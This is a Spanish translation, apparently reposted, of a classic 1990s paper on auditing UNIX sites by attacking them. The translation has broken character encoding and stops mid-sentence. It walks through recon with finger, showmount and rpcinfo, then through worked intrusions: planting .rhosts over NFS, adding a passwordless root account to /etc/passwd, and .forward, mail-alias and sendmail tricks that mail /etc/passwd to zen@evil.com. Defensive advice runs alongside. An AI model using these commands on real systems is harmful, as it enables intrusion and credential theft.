🚀 go-pugleaf

Introducci�n

 

Todos los d�as, en todo el mundo, las redes de ordenadores y hosts son 

violados. El nivel de sofisticaci�n de estos ataques varia ampliamente; 

mientras hay una creencia generalizada  que la mayor�a de estas 
intrusiones 

tienen �xito debido a la debilidad de los passwords, hay todav�a un gran 

numero de intrusiones que hacen uso de t�cnicas mas avanzadas para 
entrar. 

Poco es sabido acerca de este ultimo tipo de intrusiones , debido 

principalmente a su naturaleza y a su dificultad de ser detectadas.

 

 

ERT.  SRI.  The Nic.  NCSC.  RSA.  NASA.  MIT.  Uunet.  Berkeley.

Purdue.  Sun. Cualquier sistema en Internet (y muchos que no lo est�n) son 

susceptibles de ser violados f�cilmente. Son estos objetivos inusuales? Que 

ocurri�?

 

chaval, con pelo rubio y grasiento, sentado en una habitaci�n oscura. La 

habitacion esta iluminada solamente por la luz de la pantalla de 40 

caracteres de un C64. Tomando otra larga calada de su Benson & Hedges, 
su 

cansado sistema cracker �Telnetea� a otro site �.mil� an�nimo de su lista 

de v�ctimas. No importa. Tiene toda la noche�.lo tacha de su lista, y 

cansinamente teclea la siguiente v�ctima potencial�.

 

Esta parece ser la imagen habitual de un cracker de sistemas. Joven, sin 

experiencia, y con un mont�n de tiempo que perder, tan solo para entrar en 

otro sistema. Sin embargo, hay un tipo de cracker mucho mas peligroso 

rondando por ah�. Uno que sabe todo lo ultimo acerca de seguridad de 

sistemas y herramientas cracking, que puede modificarlas para llevar a 
cabo 

ataques espec�ficos, y que puede currarse sus propios programas. Uno que 
no 

solo se dedica a leer sobre los �ltimos agujeros de seguridad, sino que 

tambien  descubre bugs y puntos d�biles. Una �criatura mortal� que puede 

tanto golpear �envenenadamente� , como ocultar su rastro sin un solo 

susurro o pista. El uebercracker esta aqu�..

 

 

Por que �uebercracker� ? Es una idea robada, obviamente, del uebermensch 
de 

Nietzsche,o , literalmente traducido al ingles, �over man�.

Nietzsche uso el termino no para referirse a un super hombre de comic, sino 

a un hombre que va mas alla de la incompetencia, insignificancia, y 

debilidad del hombre tradicional.

Por lo tanto el uebercracker es el cracker de sistemas que ha ido mas alla 

de los simples metodos de intrusion de los cookbooks. Un uebercracker no 
se 

motiva normalmente para realizar actos violentos. 

 

 

Las victimas no son arbitrariamente escogidas � hay un proposito, tanto 

como si es por conseguir fines monetarios, un ataque �golpea y corre� para 

pillar informacion, o un desafio para golpear un prestigioso-gran site o 

red personalmente. Un uebercracker es dificil de detectar, mas aun de 

parar, y aun mas si cabe de mantenerlo alejado de tu site por tu bien.

 

Overview

 

En este texto vamos a realizar un acercamiento inusual a los sistemas de 

seguridad.

En vez de decir meramente que algo es un problema, vamos a mirar a 
traves 

de los ojos de un intruso, y ver por que lo es. Vamos a ilustrar que 

incluso los aparentemente inocuos servicios de red pueden convertirse en 

herramientas muy valiosas a la hora de buscar puntos debiles en un 
sistema, 

incluso cuando estos servicios operan del modo esperado.

 

En un esfuerzo por verter algo de luz sobre como ocurren estas intrusiones 

cada vez mas avanzadas, este texto rese�a varios mecanismos usados 

actualmente por los crackers para obtener acceso a los sistemas y, 

adicionalmente, algunas tecnicas que sospechamos estan usando, o hemos 

usado nosotros mismos en tests o ambientes autorizados/amigables.

 

Nuestra motivacion a la hora de ecribir este texto ha sido el hecho de que 

los administradores de sistemas no son muy a menudo conscientes del 
peligro 

existente por cualquier cosa mas alla de los ataques mas triviales. 

Mientras por todos es sabido que el nivel de proteccion apropiado depende 

de que es lo que debe ser protegido, muchos sites parecen estar faltos de 

los recursos para valorar que nivel de proteccion es adecuada.

Dando a conocer lo que los intrusos pueden hacer para ganar acceso a un 

sistema remoto, intentamos ayudar a los administradores de sistemas a 
tomar 

decisiones sobre como proteger su site � o como no hacerlo. Limitaremos la 

discusion a tecnicas que pueden posibilitar el acceso a intrusos a shells 

en un host corriendo UNIX. Una vez hecho esto, los detalles acerca de como 

conseguir privilegios root estan mas alla del ambito de este texto � 

consideramos que son o dependen del site y, en muchos casos, muy 
triviales 

para merecer discutirse.

 

Queremos recalcar que no vamos a hacer una lista de bugs o agujeros de 

seguridad � siempre habra nuevos para que un �atacante� en potencia  los 

explote. El proposito de este texto es el de tratar de que el lector vea su 

sistema de una forma nueva/diferente � una forma que posiblemente le 

permita tener la oportunidad de entender como su propio sistema puede 
estar 

comprometido, y como.

 

Tambien queremos reiterar que el proposito de este texto es el de ense�ar 

al lector como testear la seguridad de su propio site, y no como irrumpir 

en sistemas ajenos. Las tecnicas de intrusion ilustradas aqu� dejaran muy a 

menudo huellas en los logs de tu sistema � seria constructivo examinarlos 

despues de intentar alguno de estos ataques, para ver como seria un 
ataque 

verdadero. Ciertamente otros sites y administradores de sistemas 

tomaran/haran una vision fugaz de tus actividades si es que decides usar 

sus hosts para hacer tests de seguridad sin autorizacion avanzada; de 

hecho, es posible que se tomen medidas legales contra tu persona si lo 

perciben como un ataque.

 

Hay cuatro partes principales en este texto. La primera es la intoduccion y 

el overview. La segunda parte es un intento de dar a entender al lector lo 

que es ser un intruso y como de no saber nada de un sistema pasar a 

comprobar su seguridad. Esta seccion revisa las tecnicas actuales de 

obtencion de informacion y acceso, y cubre estrategias basicas tales como 

explotar y abusar de servicios basicos mal configrados (ftp, mail, tftp, 

etc.). Tambien trata temas un poco mas avanzados, tales como NIS y NFS, 
asi 

como bugs tipicos y problemas de configuracion en cierta forma mas 

especificos de los sitemas operativos o de los sistemas. 

Tambien se cubre lo referente a estragegias defensivas contra cada uno de 

los diferentes ataques.

La tercera seccion trata sobre confianza: como la seguridad de un sistema 

depende de la integridad de otros sistemas. La confianza es el tema mas 

complejo de este texto, y por ser breves limitaremos su discusion a �los 

clientes ocultos� (si alguien ha entendido esto ultimo que me lo explique 

:)).

 

 

 

 

La cuarta seccion cubre los pasos basicos a seguir por un administrador de 

sistemas para proteger su sistema. La mayoria de los metodos presentados 

aqu� son meramente de sentido comun, pero son comunmente ignorados en 
la 

practica � una de nuestras metas es ense�ar lo peligroso que es ignorar 

estos metodos basicos de seguridad.

 

 

 

 

Estudios practicos, indicadores de informacion relacionada con la 

seguridad, y software son descritos en los apendices al final del 

documento.

 

 

 

 

Mientras exploramos los metodos y estrategias que se discuten en este 
texto 

vamos a hablar del SATAN ( Security Analysis Tool for Auditing Networks ). 

Escrito en shell, perl, expect y C, examina un host o sets de hosts remotos 

y recoge tanta informacion como sea posible explorando remotamente NIS, 

finger, NFS, ftp y tftp, rexd, y otros servicios. Esta informacion incluye 

la presencia de varios servicios de informacion de red asi como de defectos 

potenciales de seguridad � normalmente en la forma de errores en el setup 
o 

en la configuracion de los servicios de red, bugs tipicos en las utilidades 

del sistema o red, o bien decisiones tacticas pobres o ignorantes. Entonces 

puede bien informar sobre estos datos o usar un sistema experto para 

investigar mas adelante cualquier  problema potencial de seguridad. 

Mientras el SATAN no usa todos los metodos discutdos en este texto, ha 

triunfado con �amenazadora� regularidad a la hora de encontrar serios 

agujeros de seguridad en sites de Internet. Sera posteado y estara 

disponible via FTP anonimo cuando este completado; El apendice A cubre 

sus caracteristicas mas destacadas.

 

 

 

 

Observar que no es posible cubrir todos los metodos posibles de irrumpir en 

los sistemas en un solo texto. De hecho, no vamos a mencionar dos de los 

metodos mas efectivos de irrupcion en hosts remotos: social engineering ( 

ingenieria social) y password cracking (crackear passwords). Este ultimo 

metodo es tan efectivo, sin embargo, que varias de las estrategias 

presentadas aqu� estan basadas en la obtencion de archivos de passwords.

Adicionalmente, mientras los sitemas basados en ventanas (X, 
OpenWindows, 

etc..) pueden proveer una �tierra fertil� para la 

irrupcion/violacion/explotacion, simplemente no sabemos muchos metodos 

usados para irrumpir en sistemas remotos. Muchos crackers de sistemas 
usan 

terminales non-bitmapped que les pueden prevenir de usar algunos de los 

metodos de explotacion efectiva mas interesantes para sistemas basados en 

ventanas (aunque el ser capaz de ver/monitorizar el teclado de la victima 

es normalmente suficiente para pillar passwords). Finalmente, mientras 

gusanos, virus, caballos de troya, y demas movidas son muy interesantes, 
no 

son comunes ( en sistemas basados en UNIX) y probablemente usan 
tecnicas 

muy similares a las descritas en este documento como partes individuales 
de 

su estrategia de ataque.

 

Ganando Informacion

 

 

Asumamos que tu eres el administrador de sistema de �Victim 
Incorporated�s 

network of Unix workstations�. En un esfuerzo por proteger tus maquinas, le 

pides a un colega administrador de sistema de un site cercano (evil.com) 

que te de una cuenta en una de sus maquinas para asi poder ver la 
seguridad 

de tu propio sistema desde el exterior.

 

Que deberias hacer? Lo primero, tratar de recoger informacion sobre tu 

blanco, tu host. Hay un monton de servicios de red en los que mirar: 

finger, showmount y rpcinfo son buenos puntos de partida. 

Pero no te pares ahi � debes tambien utilizar DNS, whois, sendmail (smtp), 

ftp, uucp, y tantos otros servicios como puedas encontrar. Hay tantos 

metodos y tecnicas que el espacio nos impide ense�aros todos, pero 

trataremos de ense�ar una representativa de las estrategias mas comunes 
y/o 

peligrosas que hemos visto o que se nos han ocurrido. 

 

Idealmente, podrias recoger dicha informacion sobre todos los hosts en la 

subred o area de ataque � la informacion es poder � pero por ahora 

examinaremos solo nuestra victima/blanco en cuestion.

 

Para comenzar, miraremos lo que el comando finger nos ha reportado.

(imagina que son las 6pm, 6 Noviembre, 1993):

 

 

victim % finger @victim.com

 [victim.com]

 Login       Name             TTY    Idle     When         Where

 zen         Dr.  Fubar        co      1d    Wed 08:00    death.com

 

 

 

Bien! Un solo usuario inactivo � se supone que nadie va a notar si intentas 

irrumpir dentro.

 

Ahora intentas mas tacticas. Como todos los devotos del finger sabran, 

hacer finger �@�, �0�, y "", asi como a nombre comunes, como root, bin, 

ftp, system, guest, demo, manager, etc�, puede revelar informacion 

interesante. Lo que esa informacion sea depende de la version de finger que 

tu victima este usando, pero la mas importante son nombres de cuentas, 

conjuntamente con sus home directories y el ultimo host desde el que se 

conectaron.

 

Para a�adir a esta informacion, puedes tambien usar rusers (en particular 

con la extension -l ) para pillar informacion valiosa sobre usuarios 

conectados.

 

Usando estos comandos en victim.com nos da la siguiente informacion, 

presentada de forma tabulada comprimida para ahorrar espacio:

 

Login   Home-dir       Shell      Last login, from where

root      /            /bin/sh     Fri Nov 5 07:42 on ttyp1 from big.victim.com

bin       /bin                     Never logged in

nobody    /                        Tue Jun 15 08:57 on ttyp2 from server.victim.co

daemon    /                        Tue Mar 23 12:14 on ttyp0 from big.victim.com

sync      /            /bin/sync   Tue Mar 23 12:14 on ttyp0 from big.victim.com

zen       /home/zen    /bin/bash   On since Wed Nov  6 on ttyp3 from 
death.com

sam       /home/sam    /bin/csh    Wed Nov  5 05:33 on ttyp3 from evil.com

guest     /export/foo  /bin/sh     Never logged in

ftp       /home/ftp                Never logged in

 

Tanto nuestros experimentos con el SATAN como el ver en funcionamiento 

system crackers nos ha demostrado que el finger es uno de los servicios 
mas 

peligrosos, por su valor a la hora de investigar una victima potencial. De 

todas formas, mucha de esta informacion  solamente es valiosa usada 

conjuntamente con otros datos.

 

Por ejemplo, ejecutando showmount (informacion sobre el montaje de un 

servidor)en tu victima nos revela lo siguiente:

 

evil % showmount -e victim.com

export list for victim.com:

/export                                                  (everyone)

/var                                                        (everyone)

/usr                                                         easy

/export/exec/kvm/sun4c.sunos.4.1.3                                easy

/export/root/easy                                                 easy

/export/swap/easy                                               easy

 

 

 

 

Notar que /export/foo esta �exportado al mundo�; tambien fijaros que este 

es el home directory del usuario �guest�. Es hora de tu primera intrusion! 

En este caso, montaras el home directoy del usuario �guest�. Como no 
tienes 

la cuenta correspondiente en esa maquina y como root no puede modificar 

archivos en un sistema de archivos NFS, creas una cuenta �guest� en tu 

archivo de password local. Como usuario �guest� puedes colocar 
una �.rhosts 

entry� en el guest home directory remoto, que te permitira acceder a dicha 

maquina sin tener que dar ningun password.

 

evil # mount victim.com:/export/foo /foo

 evil # cd /foo

 evil # ls -lag

 total 3

    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .

    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..

    1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest

 evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd

 evil # ls -lag

 total 3

    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .

    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..

    1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest

 evil # su guest

 evil % echo evil.com >> guest/.rhosts

 evil % rlogin victim.com

                 Welcome to victim.com!

 victim %

Si, en lugar de home directories, victim.com exportara sistemas de archivos 

con comandos de usuario (como , /usr o /usr/local/bin), podrias reemplazar 

un comando por un caballo de troya que ejecutara cualquier comando de tu 

eleccion. El siguiente usuario en ejecutar dicho comando ejecutaria tu 

programa

 

Sugerimos que se exporten estos sistemas de archivos:

 

  Lectura/excritura solo a clientes especificos y de confianza

  Solo-lectura, donde sea posible (datos o programas pueden ser 
exportados 

de esta forma)

 

Si la victima tiene un �+� wildcard en su /etc/hosts.equiv  (por defecto en 

varias maquinas) o tiene el netgroups bug , cualquier usuario no root con 

un login en el fichero de passwords de la victima puede hacer un rlogin 

(login remoto) a la victima sin necesidad de password. Y como el usuario 

�bin� normalmente tiene ficheros llave y directorios, tu siguiente  ataque 

es el de tratar de acceder en el host de la victima y modificar el fichero 

de passwords para permitirte tener acceso �root�:

 

evil % whoami

 bin

 evil % rsh victim.com csh -i

 Warning: no access to tty; thus no job control in this shell...

 victim %  ls -ldg /etc

 drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc

 victim %  cd /etc

 victim %  mv passwd pw.old

 victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > 

passwd

 victim % ^D

 evil % rlogin victim.com -l toor

                 Welcome to victim.com!

 victim #

 

Unas pocas notas sobre el metodo usado arriba; "rsh victim.com csh -i" se 

usa para inicialmente entrar en el sistema ya que no deja ningun rastro en 

los ficheros wtmp o utmp, haciendo el comando rsh invisible para el finger 

y el who. El shell remoto no esta unido a un pseudo-terminal, asi que los 

prgramas tipo pagers y editores fallaran � pero es de gran utilidad para 

una breve exploracion.

 

La utilidad de seguridad COPS (ver apendice D) informara de archivos o 

directorios que son �escribibles� a otras cuentas aparte de la superuser. 

Si usas SunOS 4.x puedes aplicar el patch 100103 para arreglar muchos de 

los problemas de permisos de ficheros. En muchos sistemas, rsh lo prueba 
en 

lo expuesto arriba, aun cuando tenga �xito, seguira siendo completamente 

innotificable; el tcp wrapper (apendice D), que �logea� conexiones 

entrantes, puede ayudar a desenmascarar dichas actividades.

---

Y ahora que? Has destapado ya todos los agujeros del sistema-victima? 

Volviendo a los resultados dados por el finger en nuestra victima, te das 

cuenta de que tiene una cuenta �ftp�, que normalmente significa que se 

puede hacer ftp anonimo. Ftp anonimo puede ser una forma facil de 
conseguir 

acceso, ya que esta muchas veces mal configurado. Por ejemplo, la victima 

debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo 

-ftp/etc en vez de una version reducida. En este ejemplo, sin embargo, 

puedes ver que este ultimo no parece ser el verdadero (como puedes 

afirmarlo sin haber examinado el archivo?) Sin embargo, el home directory 

de �ftp� en victim.com es escribible. Esto te permite ejecutar comandos 

remotamente � en este caso, mandarte el archivo por mail a ti mismo � por 

el simple metodo de crear un archivo .forward que ejecuta un comando 
cuando 

un mail es mandado a la cuenta �ftp�.

 

evil % cat forward_sucker_file

 "|/bin/mail zen@evil.com < /etc/passwd"

 

 evil % ftp victim.com

 Connected to victim.com

 220 victim FTP server ready.

 Name (victim.com:zen): ftp

 331 Guest login ok, send ident as password.

 Password:

 230 Guest login ok, access restrictions apply.

 ftp> ls -lga

 200 PORT command successful.

 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).

 total 5

 drwxr-xr-x  4 101      1             512 Jun 20  1991 .

 drwxr-xr-x  4 101      1             512 Jun 20  1991 ..

 drwxr-xr-x  2 0        1             512 Jun 20  1991 bin

 drwxr-xr-x  2 0        1             512 Jun 20  1991 etc

 drwxr-xr-x  3 101      1             512 Aug 22  1991 pub

 226 ASCII Transfer complete.

 242 bytes received in 0.066 seconds (3.6 Kbytes/s)

 ftp> put forward_sucker_file .forward

 43 bytes sent in 0.0015 seconds (28 Kbytes/s)

 ftp> quit

 evil % echo test | mail ftp@victim.com

Ahora simplemente tienes que esperar a que el fichero de passwords te sea 

enviado.

 

La herramienta de seguridad COPS chequeara el setup de tu ftp anonimo; 

mirar la documentacion man sobre ftpd, la documetacion/codigo de COPS, o 
el 

CERT advisory 93:10 para recoger informacion acerca de como establecer 

(setup, por si hay dudas) ftp anonimo correctamente.

Vulnerabilidades en el ftp son normalmente cusetion de una posesion 

incorrecta o de los permisos de archivos y directorios. Al menos, estate 

seguro de que -ftp y todos los directorios y ficheros �system� por debajo 

de -ftp son de root y que no tienen privilegios de escritura para ningun 

usuario.

 

Examinando ftp, puedes probar un viejo bug que en su dia fue bastamente 

explotado:

 

% ftp -n

 ftp> open victim.com

 Connected to victim.com

 220 victim.com FTP server ready.

 ftp> quote user ftp

 331 Guest login ok, send ident as password.

 ftp> quote cwd ~root

 530 Please login with USER and PASS.

 ftp> quote pass ftp

 230 Guest login ok, access restrictions apply.

 ftp> ls -al / (o lo que sea)

 

Si esto funciona, estaras dentro como root, y con capacidad para modificar 

el fichero passwd, o lo que desees. Si tu sistema tiene este bug, tienes 

que conseguir un update de tu ftpd daemon, ya sea de tu vendedor o por ftp 

anonimo en ftp.uu.net.

 

El wuarchive ftpd, un conocido �recambio� del ftp daemon dado por la 

Washington University in Saint Louis, tenia casi el mismo problema. Si tu 

wuarchive ftpd es anterior a Abril de 1993, deberias reemplazarlo por una 

version mas reciente.

 

hay un programa similar a ftp � tftp, o trivial file transfer 

program. Este daemon no necesita de ningun password para autentificacion; 

si un host provee de tftp sin restringir el acceso (normalmente mediante 

algun flag seguro puesto en el archivo inetd.conf), un atacante podria leer 

y escribir archivos en cualquier lugar del sistema. En el ejemplo, pillas 

el fichero passwd y se pone en tu directorio /tmp local:

 

evil % tftp

 tftp> connect victim.com

 tftp> get /etc/passwd /tmp/passwd.victim

 tftp> quit

 

Por el bien de la seguridad, tftp no deberia de ejecutarse; si tftp es 

necesario, utiliza la opcion/flag segura para restringir el acceso a un 

directorio que contenga informacion sin valor, o ejecutalo bajo el control 

de un programa chroot wrapper.

-----

Si ninguno de los metodos anteriores ha funcionado, es hora de tomar 

medidas mas drasticas. Tu nuevo amigo es rpcinfo, otro programa de gran 

utilidad, muchas veces incluso mas practico que el finger. Muchos hosts 

tienen servicios RPC que pueden ser explotados; rpcinfo puede hablar con 
el 

portmapper y ense�arte el camino. Puede decirte si el host esta usando 
NIS, 

si es un servidor o esclavo NIS, si hay una estacion de trabajo sin 

disquetera por ahi, si esta usando NFS, cualquiera de los servicios de info 

(rusersd, rstatd, etc..), o cualquier otro programa inusual (relacionados 

con logs y seguridad). Por ejemplo, volviendo a nuestra victima:

 

evil % rpcinfo -p victim.com    

    program vers proto   port

     100004    2   tcp    673  ypserv

     100005    1   udp    721  mountd

     100003    2   udp   2049  nfs

     100026    1   udp    733  bootparam

     100017    1   tcp   1274  rexd

 

 

En este caso, puedes ver varios datos significativos sobre nuestra victima;

el primero de los cuales es que es un servidor NIS. Puede que no sea muy 

sabido, pero una vez que se conoce el nombre de dominio NIS de un 
servidor, 

puedes tener cualquiera de sus mapas NIS con una simple orden rpc, 
incluso 

cuando estas fuera de la subred del servidor NIS (por ejemplo, usando el 

programa YPX que se puede encontrar en los archivos comp.sources.misc 
en 

ftp.uu.net). Adicionalmente, tanto como los facilmente adivinables 

passwords, muchos sistemas usan nombres de dominio NIS facilmente 

adivinables. Tratar de adivinar el nombre de dominio NIS es normalmente 

provechoso/fructifero. Los mayores candidatos son los nombres del host en 

forma parcial y total (e.g. �victim� and �victim.com�, el nombre de la 

organizaci�n, nombres del grupo dados por el comando �showmount�, y 
demas. 

Si quisieras probar si el nombre de dominio fuera �victim�, teclearias:

 

 

 

 

evil % ypwhich -d victim victim.com

 Domain victim not bound.

 

 

 

 

Como se ve este fue un intento sin �xito; si huiera sido correcto �victim�, 

nos habria dado un mensaje con el nombre de host del servidor NIS. De 
todas 

formas, fijaros de la seccion NFS que victim.com esta exportando el 

directorio �/var� al mundo. Todo lo que se necesita es montar dicho 

directorio y mirar en el subdirectorio �yp� � entre otras cosas veras otro 

subdirectorio que contiene el nombre de dominio de la victima.

 

evil # mount victim.com:/var /foo

 evil # cd /foo

 evil # /bin/ls -alg /foo/yp

 total 17

    1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .

    1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..

   11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile

    1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding

    2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar

    [...]

 

En este caso �foo_bar� es el nombre de dominio del NIS.

 

Adicionalmente, los mapas NIS contienen normalmente una buena lista de 

nombres de usuarios/empleados asi como listas de hosts internos, por no 

mencionar passwords para crackear.

El apendice C detalla los resultados de un caso practico sobre archivos de 

passwords NIS.

-----

Puedes observar que la respuesta dada por el comando rpcinfo mostraba 
que 

victim.com usaba rexd. Como el rsh daemon, rexd procesa peticiones del 
tipo 

�por favor ejecuta este comando como ese usuario (como siendo ese 

usuario)�. A diferencia de rshd, rexd no tiene en cuenta si el host cliente 

esta o no en los archivos hosts.equiv o .rhost. Normalmente el programa 

rexd cliente es el comando �on�, pero tan solo es necesario un peque�o 

programa en C para mandar informacion arbitraria sobre el host y userid 

cliente al servidor rexd; rexd ejecutara tan contento el comando. Por estas 

razones, ejecutar rexd es similar a no tener passwords: toda la seguridad 

esta en el cliente, no en el servidor que es donde deberia. La seguridad 

del rexd puede ser mejorada de alguna manera usando un RPC seguro.

-----

bservando de nuevo la respuesta de rpcinfo, puedes observar que 
victim.com 

parece ser un server para estaciones de trabajo sin disqueteras. Esto se 

evidencia debido a la presencia del servicio bootparam, que provee 

informacion a los clientes sin disquetera para el arranque. Si lo preguntas 

correctamente, usando BOOTPARAMPROC_WHOAMI y dando la direccion de 
un 

cliente, puedes obtener su nombre de dominio NIS. Esto puede ser de gran 

utilidad cuando es combiando con el hecho de que puedes conseguir mapas 
NIS 

arbitrarios (como el fichero password) cuando sabes el nombre de dominio. 

Aqu� va un ejemplo de codigo para hacer justo eso:

 

 

 

 

char   *server;

struct bp_whoami_arg arg;           /* query */

struct bp_whoami_res res;           /* reply */

 

 

 

 

 

/* initializations omitted... */

 

 

 

 

 

callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, 
BOOTPARAMPROC_WHOAMI,

        xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

 

 

 

 

printf("%s has nisdomain %s\n", server, res.domain_name);

 

 

 

 

El resultado del comando showmount indicaba que �easy� es un cliente sin 

disquetera de victim.com, asi que usamos su direccion de cliente en el 

query BOOTPARAMPROC_WHOAMI:

 

 

 

 

evil % bootparam victim.com easy.victim.com

victim.com has nisdomain foo_bar

 

 

 

 

-----

 

 

 

 

Los NIS masters controlan los alias del mail para el dominio NIS en 

cuestion. Como en los ficheros de alias de mail locales, puedes crear un 

mail alias que ejecutara comandos cuando el mail le es mandado(un 
ejemplo 

popular de esto es el alias �decode� que �uudecodea� archivos mail que le 

son mandados). Por ejemplo, aqu� creas un alias �foo�, que mailea el 

fichero password de vuelta a evil.com simplemente maileandole cualquier 

mensaje:

 

 

 

 

nis-master # echo ''foo: "|mail zen@evil.com< /etc/passwd "'' >> /etc/aliases

nis-master # cd /var/yp

nis-master # make aliases

nis-master # echo test | mail -v foo@victim.com

 

 

 

 

Por suerte los atacantes no tendran control de tu NIS master host, pero mas 

aun laa leccion esta clara � NIS normalmente no es seguro, pero si un 

atacante se hace con el control de tu NIS master, efectivamente tendra de 

los hosts clientes(por ejemplo podra ejecutar comandos arbitarrios).

 

 

 

 

No hay demasiadas defensas contra estos ataques; es un servicio inseguro 

que casi no tiene autentificacion entre clientes y servers. Para mas INRI, 

parece claro que se pueden forzar mapas aleatorios incluso en servidores 

maestros (ej, es posible tratar a un servidor NIS como si fuera un 

cliente). Obviamente, esto echaria abajo todos los esquemas. Ni es 

absolutamente necesario usar NIS, el usar un nombre de dominio dificil de 

adivinar facilitaria mucho las cosas, pero si usas clientes sin disquetera 

que estan expuestos a atacantes en potencia, entonces es insignifante para 

este atacante el sobrepasar este simple paso haciendo uso del truco del 

bootparam para conseguir el nombre de dominio. Si el NIS es usado para 

propagar los mapas de passwords, entonces los shadowed passwords no 
ofrecen 

ningun tipo de proteccion adicional ya que el mapa shadow seria aun 

accesible para cualquier atacante que fuera root en un host de ataque.

Lo mehjor es usar NIS lo menos posible, o por lo menos darse cuenta de 
que 

los mapas pueden ser objeto de lectuta por fuerzas potencialmente hostiles.

 

 

 

 

El tener un protocolo RPC seguro disminuye en gran medida la amenaza, 
pero 

tiene sus propios problemas, principalmente en que es dificil de 

administrar, pero tambien en que los metodos de criptologia usados no son 

muy poderosos. Hay rumores de que NIS+, el nuevo servicio de 
informacion de 

red de Sun, soluciona alguno de los problemas, pero hasta ahora se ha 

limitado a correr bajo Suns. 

Finalmente, el usar filtrado de paquetes(packet filtering)en el puerto 111 

o securelib (ver apendice D), o, para Suns, aplicar el parche 100482-02 de 

Sun, puede tambien ayudar.

 

 

 

 

-----

 

 

 

 

El portmapper (mapeador de puertos) solo sabe de servicios RPC. Otros 

servicios de red pueden ser localizados con el metodo de fuerza bruta que 

conecta a todos los puertos de la red. Muchas utilidades de red y sistemas 

basados en ventanas �escuchan� en puertos especificos (ej, sendmail esta 
en 

el puerto 25, telnet en el 23, X windows normalmente esta en el 6000, etc).

SATAN incluye un programa que escanea los puertos de un host remoto e 

informa lo que ha encontrado; si lo ejecutaras contra nuestra victima 

verias lo siguiente:

 

 

 

 

evil % tcpmap victim.com

 Mapping 128.128.128.1

 port 21: ftp

 port 23: telnet

 port 25: smtp

 port 37: time

 port 79: finger

 port 512: exec

 port 513: login

 port 514: shell

 port 515: printer

 port 6000: (X)

 

Esto sugiere que victim.com esta corriendo X windows. Si no esta 

correctamente protegido (por via de la cookie magica,magic cookie, o por 

mecanismos xhost), el contenido de las ventanas podria capturarse u 

observarse, lo que teclean los usuarios robado, ejecutar programas 

remotamente, etc. Tambien, si la victima esta usando X windows y acepta 
un 

telnet por el puerto 6000 (X), esto podria ser usado para un ataque de 

denegacion de servicio (denial of service attack), ya que el sistema de 

ventanas de la victima se suele mantener �congelado� por unos instantes. 
Un 

metodo para determinar la vulnerabilidad de un servidor X (corriendo X 

windows) es el de conectarse al mismo por medio de la funcion 

XOpenDisplay(); si esta nos da como resultado NULL entonces no puedes 

acceder al display de la victima (opendisplay es parte de SATAN):

 

char   *hostname;

 

if (XOpenDisplay(hostname) == NULL) {

   printf("Cannot open display: %s\n", hostname);

} else {

   printf("Can open display: %s\n", hostname);

}

 

evil % opendisplay victim.com:0

Cannot open display: victim.com:0

 

Los terminales X, aunque mucho menos potentes que un sistema UNIX 
completo, 

pueden tener sus propios problemas de seguridad. Muchos terminales X 

permiten accesos rsh no restringidos, permitiendote iniciar programas 

clientes X en el terminal de la victima apareciendo los resultados en tu 

propia pantalla:

 

evil % xhost +xvictim.victim.com

evil % rsh xvictim.victim.com telnet victim.com -display evil.com

 

En cualquier caso, dale la misma importancia a la seguridad de tu sistema 

de ventanas, como a la de tu sistema de archivos y utilidades de red, ya 

que si no puede comprometer tu sistema igual que un �+� en el host.equiv o 

una cuenta root sin password.

Lo siguiente es examinar el sendmail. Sendmail es un programa muy 
complejo 

que tiene un largo historial de problemas de seguridad, incluyendo el 

infame comando �wiz� (por suerte hace mucho que se deshabilito en todas 
las 

maquinas). A menudo puedes determinar el sistema operativo, a veces 
hasta 

la version, de la victima, mirando al numero de version de sendmail. Esto, 

nos puede dar pistas acerca de como de vulnerable sera a cualquiera de los 

muchos bugs. Adicionalmente, puedes ver si usan el alias �decode�, que 

posee su propio set de problemas:

 

evil % telnet victim.com 25

connecting to host victim.com (128.128.128.1.), port 25

connection open

220 victim.com Sendmail Sendmail 5.55/victim ready at Fri,6 Nov 93 18:00

PDT

expn decode

250 <"|/usr/bin/uudecode">

quit

 

El usar el alias �decode� es un riesgo de seguridad � permite a los 

atacantes en potencia sobreescribir cualquier fichero que fuese escribible 

por el poseedor de ese alias � a menudo un daemon, pero potencialmente 

cualquier usuario. Considera este trozo de mail � esto pondra a �evil.com� 

en el archivo .rhost del usuario zen si es que fuera escribible.

 

evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail 

decode@victim.com

 

Si no se conocen o no hay home directories escribibles, una interesante 

variacion de esto sera la creacion de un archivo /etc/aliases.pag falso que 

contenga un alias con un comando que quieras ejecutar en tu victima. Esto 

puede funcionar debido a que en muchos sistemas los archivos aliases.pag 
y 

aliases.dir, que controlan los alias de mail del sistema, son escribibles 

para todo el mundo.

 

evil % cat decode

bin: "| cat /etc/passwd | mail zen@evil.com"

evil % newaliases -oQ/tmp -oA`pwd`/decode

evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com

evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

 

Se pueden encontrar muchas cosas simplemente preguntando a sendmail si 
una 

direccion es aceptable (vrfy), o hasta donde se expande una direccion 

(expn). Cuando los servicios de finger o rusers se desabilitan, vrfy y expn 

pueden todavia ser usados para identificar cuentas de usuarios. Vrfy y expn 

pueden tambien ser usados para descubrir si el usuario esta ejecutando 
mail 

por medio de cualquier programa susceptible de ser explotado (ej, vacation, 

mail sorters, etc.). Puede ser una buena idea el desabilitar los comandos 

vrfy y expn: en la mayoria de las versiones, mira en el codigo fuente del 

